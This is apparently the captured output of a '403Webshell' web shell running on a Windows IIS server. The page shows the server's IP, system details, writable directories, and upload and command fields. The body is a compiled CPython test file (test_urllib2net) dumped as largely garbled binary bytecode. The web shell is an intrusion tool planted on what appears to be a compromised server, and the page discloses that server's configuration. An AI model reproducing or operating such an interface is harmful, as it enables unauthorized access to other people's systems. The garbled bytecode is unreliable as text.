403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.66
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_urllib2net.cpython-315.opt-1.pyc
R
>lqj�<c��]PHs]PHs]PHs]PHs]QHGs]QHGs]QHGs]QHG	s	]QHG
s
]QH,Gs]PH4s
]PH8s]PH<s]PHDs]PHHs\O&Q2QsQ	s\\O,O.\O0O22sQ
Q\2s\\\O<Q5s\\\O@Q5s!\\\O@Q5s"Q
Q\OF2s$QQ\OF2s%QQ\OF2s&QQ\OF2s'\(Q6Xc\OR2P!P!)�)�mock)�support)�	os_helper)�
socket_helper)�ResourceDenied)�check_no_resource_warning�networkc�r�[]2FDoUU-U@t!	WgScoSoPo=J#Po=hh9h)�)�range)�func�exc�args�kwargs�i�e�last_excs&&*,   �)C:\Python315\\Lib\test\test_urllib2net.py�
_retry_thricersF��
�1�X��	���(��(�(���N���	��H���	�s�"�6�6�1�6c�``�UU1QkoU!)c�(:�[RR,UN3-U@!�N)r)rrr
rs*,��r�wrapped�(_wrap_with_retry_thrice.<locals>.wrappeds����T�3�8��8��8�8��)rr
rsff r�_wrap_with_retry_thricers
���9��Nrc�<`�\sQs])snQsQsQsQQksQsUs	P!)�TransientResourcez�Raise ResourceDenied if an exception is raised while the context manager
is in effect that matches the specified exception and attributes.c� �VmV mP!r)r
�attrs)�selfr
rs&&,r�__init__�TransientResource.__init__.s�����
rc��U!rr�r!s&r�	__enter__�TransientResource.__enter__2s���rc��Udw[UOU2%cYUOO2FD.vqE[	V$2%fP![V$2U6wfJ,P!	[
Q2gP!P!)z�If type_ is a subclass of self.exc and value has attributes matching
self.attrs, raise ResourceDenied.  Otherwise let the exception
propagate (if any).z%an optional resource is not available)�
issubclassr
r �items�hasattr�getattrr)r!�type_�value�	traceback�attr�
attr_values&&&&  r�__exit__�TransientResource.__exit__5sh�����D�H�H�e�!<�!<�$(�J�J�$4�$4�$6� ���u�+�+���5�'�:�5��	%7�%�%L�M�M�"=�r)r r
)NNN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__r"r&r2�__static_attributes__�__classdictcell__��
__classdict__s@rrr)s!����I���N�Nrr)�errnoc��\sQs]JsQsQsP!)�	AuthTestsz&Tests urllib2 authentication features.r)r4r5r6r7r8r9rrrr?r?Js��0rr?c�(`�\sQs]qsnQsQsUsP!)�CloseSocketTestc��UO[OO2[O
o[OU29^tt^2[U2oUOoUOUO2UO2UOUO2PPP2P!)%fhP!9hr)�
addCleanup�urllib�request�
urlcleanupr�
TEST_HTTP_URLr�transient_internet�_urlopen_with_retry�fp�assertFalse�closed�close�
assertTrue)r!�url�response�socks&   r�
test_close�CloseSocketTest.test_closess���������1�1�2��#�#��
�
-�
-�c�
2�
2�*�3�/�H��;�;�D����T�[�[�)��N�N���O�O�D�K�K�(�3�
2�
2�
2�s�AC�C	�
C	r)r4r5r6r7rRr9r:r;s@rrArAqs����)�)rrAc�*`�\sQs]�snQs\OQ2Q2s\OQ2\O\
O2Q6HQ2Q22sQs
Qs\OQ2Q	2sQ
sQQksQsQ
sUsP!)�OtherNetworkTestsc��P!)r)�logging�	getLogger�
addHandler�
StreamHandler)r!rW�loggers&  r�setUp�OtherNetworkTests.setUp�s��r�walltimec��QQQP[OO1,oUOVO	22P!)�ftp://www.pythontest.net/READMEz*ftp://www.pythontest.net/non-existent-file)rD�error�URLError�
_test_urls�_extra_handlers)r!�urlss& r�test_ftp�OtherNetworkTests.test_ftp�s?��
.�-�
9�
�6�<�<�(�(�
*���	
����2�2�4�5rz
linux-ppc64lezleaks on PPC64LE (gh-140691)c
�``�QQ[2n[OnUU1QkoQoUP[OO
1o[OO2,oUO2o[OQU29^tt^2[U29^tt^2UOU,UP
Q5PPP2[U29^tt^2UOU,UP
Q5PPP2[U29^tt^2UOU,UP
Q5PPP2PPP2[U29^tt^2UOU,UP
Q5PPP2P!)%fhK�9h)%fhK�9h)%fhKq9h)%fhK|9h)%fhP!9h)c��\sQs]�sQsP!)�5OtherNetworkTests.test_ftp_no_leak.<locals>.MockErrorr)r4r5r6r7r9rrr�	MockErrorrj�s��rrkc�D:�Uvq4U]6wcR2gRU,UN3-U@!)z5Simulate REJECTing connections to ports other than 21r)�addressrr�host�portrk�orig_create_connections&*,  ��r�patched_create_connection�EOtherNetworkTests.test_ftp_no_leak.<locals>.patched_create_connection�s.��� �J�D��r�z��k�!�)�'�C�D�C�F�C�Crr`zsocket.create_connection)�handlers�retry�rt)
�OSError�socket�create_connectionrDrarbrE�
FTPHandlerrdr�patchrrc)r!rqrO�entry�no_cache_handlers�cache_handlersrkrps&     @@r�test_ftp_no_leak�"OtherNetworkTests.test_ftp_no_leak�sN���	��	�"(�!9�!9��	D�0���T�6�<�<�0�0�0��#�^�^�6�6�8�9���-�-�/��
�Z�Z�2�4M�
N�
N�*�4�0�0������2C�&+� �-�1�+�4�0�0�������u��E�1�+�4�0�0�������u��E�1�O�'�t�
,�
,��O�O�S�E�>��O�?�-�
,�1�0��1�0��1�0��O�
N��-�
,�
,�s~�F�+E&	�F�E9	�2F�
F	�#F�F2�&E6
�/E6
�1F�9F	
�F	
�F�F
�F
�F�F/	�(F/	�2G	�;G	c�<�[Oo[UQ2oUOQ2UO	2[
OO[OOU2P	Q5QP[
OO1,oUOV0O2P	Q5[OU2UO!["[
OO$Q2P![OS2h9h)�wz	hi there
)�
add_schemezfile:///nonsensename/etc/passwdruz./relative_path/to/file)r�TESTFN�open�writerMrDrE�pathname2url�os�path�abspathrarbrcrd�remove�assertRaises�
ValueError�urlopen)r!r��fres&   r�	test_file�OtherNetworkTests.test_file�s����!�!�������
	�
�G�G�L�!�
�G�G�I����+�+�B�G�G�O�O�F�,C�PT�+�U�2�D����&�&�(��D�

�O�O�D�"6�"6�"8��O�E��I�I�f�����*�f�n�n�&<�&<�=V�W��
�I�I�f��s�BD�Dc�>�Qo[OU29^tt^2[OO	U2o[OOU2oUO
UO2Q2PPP2P!)%fhP!9h)z)http://www.pythontest.net/index.html#frag�rrHrDrE�Requestr��assertEqual�geturl)r!�urlwith_frag�req�ress&   r�test_urlwithfrag�"OtherNetworkTests.test_urlwithfrag�si��B��
�
-�
-�l�
;�
;��.�.�(�(��6�C��.�.�(�(��-�C����S�Z�Z�\�?�
A�<�
;�
;�
;���AB�B	�B	c�>�Qo[OU29^tt^2[OO	U2o[OOU2oUO
UO2Q2PPP2P!)%fhP!9h)z*http://www.pythontest.net/redir/with_frag/z)http://www.pythontest.net/elsewhere/#fragr�)r!�redirect_url_with_fragr�r�s&   r�test_redirect_url_withfrag�,OtherNetworkTests.test_redirect_url_withfrag�sm��!M��
�
-�
-�.D�
E�
E��.�.�(�(�)?�@�C��.�.�(�(��-�C����S�Z�Z�\�?�
A�F�
E�
E�
E�r�c�~�[Oo[OU29^tt^2[O
O
2o[O
OU2oUOUO22UOU2UOUO22UOUOQ22UOQQ2UOU2UOUOQ2Q2PPP2P!)%fhP!9h)z
User-agentz
User-Agentz
Test-Agent)rrGrrHrDrE�build_openerr�rK�header_itemsr�rN�
has_header�
add_headerr��
get_header)r!rO�openerrEs&   r�test_custom_headers�%OtherNetworkTests.test_custom_headers�s����#�#��
�
-�
-�c�
2�
2��^�^�0�0�2�F��n�n�,�,�S�1�G����W�1�1�3�4��K�K�� ��O�O�G�0�0�2�3��O�O�G�.�.�|�<�=����|�L�9��K�K�� ����W�/�/��=�l�K�3�
2�
2�
2�s�C1D+�+D<	�4D<	c��]PHo]PHoUOQ2Oo[O
OUOoU%c%[U[OO2oSFCD[oUOUQ59^tt^2[U[2%cUvq�o
LP9q�U
%cUOU
2oL[O 2o["O$U29^tt^2PoU9^tt^2UV�[&O(2oPPP2Ud[*9^tt^2[,9^tt^2[.9^tt^2UO12o
UQ[3U
2*2PPP2PPP2PPP2UO=2PPP2UO?Q2PPP2CJ^	P!)%fhK�9h)%fhKk9h)%fhKv9h)%fhK�9h[4c&[7QS*[8O:Q5K�h9h)%fhK�9h)%fhCJ9h)r�test_urllib2)rOz
read %d bytesz
<timeout: %s>)�fileg�������?) �timerWrX�debugrDrEr�r�rrarb�subTest�
isinstance�tupler��
contextlib�nullcontextrrHr�INTERNET_TIMEOUT�time_out�socket_peer_reset�ioerror_peer_reset�read�len�TimeoutError�print�sys�stderrrM�sleep)r!rersrtr�rWr�r�rOr��expected_err�contextr��bufs&&&&          rrc�OtherNetworkTests._test_urlss������!�!�.�1�7�7���.�.�-�-�x�8�=�=���-�g�v�|�|�7L�7L�M�G��C����#��&�&��c�5�)�)�-0�*�C�l�)-�-�C��"�/�/��=�G�(�4�4�6�G�"�5�5�c�:�:��A� ��#�C�g�.F�.F�G��!��}�J�!)��!2�!2�!3�!3�&'�f�f�h�� %�o��C��&@� A�"4�"3�"*����	�;��
�
�3��3'�&��!���"4�!3��"3�!2��"*���
 ,�J�!�/�C�"7�c�j�j�I�J��;�:��'�&�&�s��I1	�2I1	�AI1	�
I
�G�-I
�:H+�H�H�&)G2�H�H�H+�'I
�7I1	�G/�(G/�*I
�2H�;H�=H�H�H�H�H(�!H(�#H+�'I
�(H+�+	I�5#I�I
�I�I
�I.�'I.�)I1	�1J
�:J
c���,o[OO2oUOUO2UO]2UO
U2U!)�)rDrE�CacheFTPHandlerrC�clear_cache�
setTimeout�append)r!rs�cfhs&  rrd�!OtherNetworkTests._extra_handlers+sF�����n�n�,�,�.��������(����q��������rr)T)r4r5r6r7r\r�requires_resourcerf�unittest�skipIf�	sysconfig�get_platformr~r�r�r�r�rcrdr9r:r;s@rrUrU�s�����7�
���z�*�6�+�6�
���z�*�
�_�_�Y�+�+�-��@�3�5� @�5�+� @�DX�ZA�
���z�*�A�+�A�L�# �J�rrUc��`�\sQsQsnQsQsQsQsQsQs	\
OQ2Q	2sQ
s
\
OQ2Q2s\
OQ2Q2sQ
sUsP!)�TimeoutTest�6c�Z�UO[OO2P!r)rCrDrErFr%s&rr\�TimeoutTest.setUp7s��������1�1�2rc��UO[O22[Oo[
OUPQ59^tt^2[U2oUOUO2UOUOOOO22PPP2P!)%fhP!9h�N��timeout)�assertIsNonerw�getdefaulttimeoutrrGrrHrIrCrMrJ�raw�_sock�
gettimeout�r!rO�us&  r�test_http_basic�TimeoutTest.test_http_basic;s������&�2�2�4�5��#�#��
�
-�
-�c�4�
@�
@�#�C�(�A��O�O�A�G�G�$����a�d�d�h�h�n�n�7�7�9�:�A�
@�
@�
@�s�A$C�C	�
C	c�>�UO[O22[Oo[
OU29^tt^2[O]<2[U2oUOUO2[OP2UOUOOOO2]<2PPP2P![OP2h9h)%fhP!9h��<)r�rwr�rrGrrH�setdefaulttimeoutrIrCrMr�rJr�r�r�r�s&  r�test_http_default_timeout�%TimeoutTest.test_http_default_timeoutCs������&�2�2�4�5��#�#��
�
-�
-�c�
2�
2��$�$�R�(�
/�'��,��������(��(�(��.����Q�T�T�X�X�^�^�6�6�8�"�=�3�
2���(�(��.��
3�
2�
2�s+�D�,&C0�AD�0D�D�D	�D	c�@�UO[O22[Oo[
OU29^tt^2[O]<2[UPQ5oUOUO2[OP2UOUOOOO22PPP2P![OP2h9h)%fhP!9h�r�r�)r�rwr�rrGrrHr�rIrCrMrJr�r�r�r�s&  r�test_http_no_timeout� TimeoutTest.test_http_no_timeoutOs������&�2�2�4�5��#�#��
�
-�
-�c�
2�
2��$�$�R�(�
/�'��T�:��������(��(�(��.����a�d�d�h�h�n�n�7�7�9�:�3�
2���(�(��.��
3�
2�
2�s+�D�,(C1�AD�1D	�	D�D	�D	c�j�[Oo[OU29^tt^2[	U]xQ5oUOUO2UOUOOOO2]x2PPP2P!)%fhP!9h)�xr�)rrGrrHrIrCrMr�rJr�r�r�r�s&  r�test_http_timeout�TimeoutTest.test_http_timeout[sn���#�#��
�
-�
-�c�
2�
2�#�C��5�A��O�O�A�G�G�$����Q�T�T�X�X�^�^�6�6�8�#�>�3�
2�
2�
2�s�A'B!�!B2	�*B2	zftp://www.pythontest.net/r^c���UO[O22[OUO
PQ59^tt^2[
UO
2oUOUO2UOUOOOOO22PPP2P!)%fhP!9hr�)
r�rwr�rrH�FTP_HOSTrIrCrMrJr�r�r��r!r�s& r�test_ftp_basic�TimeoutTest.test_ftp_basicds������&�2�2�4�5�
�
-�
-�d�m�m�T�
J�
J�#�D�M�M�2�A��O�O�A�G�G�$����a�d�d�g�g�k�k�/�/�:�:�<�=�K�
J�
J�
J�s�A8C�C#	�C#	c�Z�UO[O22[OUO
29^tt^2[O]<2[UO
2oUOUO2[OP2UOUOOOOO2]<2PPP2P![OP2h9h)%fhP!9hr�)r�rwr�rrHr�r�rIrCrMr�rJr�r�r�r�s& r�test_ftp_default_timeout�$TimeoutTest.test_ftp_default_timeoutls������&�2�2�4�5�
�
-�
-�d�m�m�
<�
<��$�$�R�(�
/�'��
�
�6��������(��(�(��.����Q�T�T�W�W�[�[�.�.�9�9�;�R�@�=�
<���(�(��.��
=�
<�
<�s+�D�&0C>�AD�>D�D�D*	�"D*	c�\�UO[O22[OUO
29^tt^2[O]<2[UO
PQ5oUOUO2[OP2UOUOOOOO22PPP2P![OP2h9h)%fhP!9hr�)r�rwr�rrHr�r�rIrCrMrJr�r�r�r�s& r�test_ftp_no_timeout�TimeoutTest.test_ftp_no_timeoutws������&�2�2�4�5�
�
-�
-�d�m�m�
<�
<��$�$�R�(�
/�'��
�
�t�D��������(��(�(��.����a�d�d�g�g�k�k�/�/�:�:�<�=�=�
<���(�(��.��
=�
<�
<�s+�D�&2C?�AD�?D�D�D+	�#D+	c��[OUO29^tt^2[UO]<Q5oUO	UO
2UO
UOOOOO2]<2PPP2P!)%fhP!9hr�)rrHr�rIrCrMr�rJr�r�r�r�s& r�test_ftp_timeout�TimeoutTest.test_ftp_timeout�sq��
�
-�
-�d�m�m�
<�
<�#�D�M�M�2�>�A��O�O�A�G�G�$����Q�T�T�W�W�[�[�.�.�9�9�;�R�@�=�
<�
<�
<�s�A;B/�/C	�8C	r)r4r5r6r7r\r�r�r�r�r�rr�r�r�r�r�r9r:r;s@rr�r�6s�����3�;�
>�
;�?�+�H����z�*�>�+�>�	A�
���z�*�	>�+�	>�
���z�*�A�+�Arr��__main__)*r�r=r�r�r�testr�test.supportrrr�test.support.warnings_helperrr�rw�urllib.errorrD�urllib.requestr��requiresrrrEr�rarbrI�objectrrv�	ETIMEDOUTr��
ECONNRESETr�r��TestCaser?rArUr�r4�mainrrr�<module>r	s ��������"�&�'�B�	�
���
��������.�f�n�n�.D�.D�.4�l�l�.C�.C�E��N��N�8�W�E�O�O�<��%�g�U�5E�5E�F��&�w�e�6F�6F�G��1��!�!�1�N)�h�'�'�)� r��)�)�r�jRA�(�#�#�RA�j�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit